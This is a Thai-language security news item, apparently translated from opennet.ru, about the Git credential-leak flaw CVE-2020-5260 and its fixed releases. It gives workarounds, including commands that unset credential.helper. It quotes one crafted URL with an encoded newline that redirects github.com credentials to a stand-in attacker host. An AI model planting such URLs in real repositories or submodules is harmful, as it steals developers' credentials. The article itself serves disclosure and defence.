ช่องโหว่การรั่วไหลของข้อมูลรับรอง Git

ที่ตีพิมพ์ การแก้ไขระบบควบคุมแหล่งที่มาแบบกระจาย Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 และ 2.17.4 ใน ซึ่งกำจัดออกไป จุดอ่อน (CVE-2020-5260) ในตัวจัดการ "หนังสือรับรองผู้ช่วย" ซึ่งทำให้ข้อมูลรับรองถูกส่งไปยังโฮสต์ที่ไม่ถูกต้องเมื่อไคลเอ็นต์ git เข้าถึงที่เก็บโดยใช้ URL ที่จัดรูปแบบพิเศษซึ่งมีอักขระขึ้นบรรทัดใหม่ ช่องโหว่นี้สามารถใช้เพื่อจัดเตรียมข้อมูลประจำตัวจากโฮสต์อื่นเพื่อถูกส่งไปยังเซิร์ฟเวอร์ที่ควบคุมโดยผู้โจมตี

เมื่อระบุ URL เช่น “https://evil.com?%0ahost=github.com/” ตัวจัดการข้อมูลประจำตัวเมื่อเชื่อมต่อกับโฮสต์ evil.com จะส่งพารามิเตอร์การตรวจสอบสิทธิ์ที่ระบุสำหรับ github.com ปัญหาเกิดขึ้นเมื่อดำเนินการต่างๆ เช่น "git clone" รวมถึงการประมวลผล URL สำหรับโมดูลย่อย (เช่น "การอัปเดตโมดูลย่อย git" จะประมวลผล URL ที่ระบุในไฟล์ .gitmodules จากพื้นที่เก็บข้อมูลโดยอัตโนมัติ) ช่องโหว่นี้เป็นอันตรายมากที่สุดในสถานการณ์ที่นักพัฒนาโคลนพื้นที่เก็บข้อมูลโดยไม่เห็น URL เช่น เมื่อทำงานกับโมดูลย่อย หรือในระบบที่ดำเนินการอัตโนมัติ เช่น ในสคริปต์สร้างแพ็คเกจ

เพื่อป้องกันช่องโหว่ในเวอร์ชันใหม่ ต้องห้าม ส่งอักขระขึ้นบรรทัดใหม่ในค่าใด ๆ ที่ส่งผ่านโปรโตคอลการแลกเปลี่ยนข้อมูลรับรอง สำหรับการแจกจ่าย คุณสามารถติดตามการเปิดตัวการอัปเดตแพ็คเกจได้จากเพจ debian, อูบุนตู, RHEL, SUSE/เปิดSUSE, Fedora, โค้ง, FreeBSD.

เพื่อเป็นแนวทางแก้ไขปัญหา แนะนำ อย่าใช้ credential.helper เมื่อเข้าถึงที่เก็บข้อมูลสาธารณะ และอย่าใช้ "git clone" ในโหมด "--recurse-submodules" กับที่เก็บข้อมูลที่ไม่ได้ตรวจสอบ หากต้องการปิดการใช้งานตัวจัดการ credential.helper โดยสมบูรณ์ซึ่งจะทำ การเก็บรักษา และดึงรหัสผ่านจาก แคช, มีการป้องกัน คลังเก็บ หรือไฟล์ที่มีรหัสผ่านคุณสามารถใช้คำสั่ง:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

ที่มา: opennet.ru

เพิ่มความคิดเห็น